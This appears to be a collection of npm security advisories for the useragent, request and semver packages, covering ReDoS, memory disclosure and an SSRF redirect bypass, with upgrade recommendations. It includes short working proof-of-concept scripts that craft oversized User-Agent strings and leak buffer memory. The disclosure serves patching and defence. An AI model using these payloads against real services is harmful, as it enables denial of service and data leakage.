Version Details and Security Vulnerabilities

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).

PoC

async function exploit() {
   const useragent = require(\"useragent\");

   // Create a malicious user-agent that leads to excessive backtracking
   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';

   // Parse the malicious user-agent
   const agent = useragent.parse(maliciousUserAgent);

   // Call the toString method to trigger the vulnerability
   const result = await agent.device.toString();
   console.log(result);
}

await exploit();

Affected versions of useragent are vulnerable to regular expression denial of service when an arbitrarily long User-Agent header is parsed.

Proof of Concept

var useragent = require('useragent');

var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));

Recommendation

Update to version 2.1.13 or later.

Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.

Proof of Concept

var request = require('request');
var http = require('http');

var serveFunction = function (req, res){
	req.on('data', function (data) {
            console.log(data)
        });
	res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);

request({
	method: "POST",
	uri: 'http://localhost:8000',
	multipart: [{body:500}]
},function(err,res,body){});

Recommendation

Update to version 2.68.0 or later

The request package through 2.88.2 for Node.js and the @cypress/request package prior to 3.0.0 allow a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: The request package is no longer supported by the maintainer.

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

Versions 4.3.1 and earlier of semver are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Recommendation

Update to version 4.3.2 or later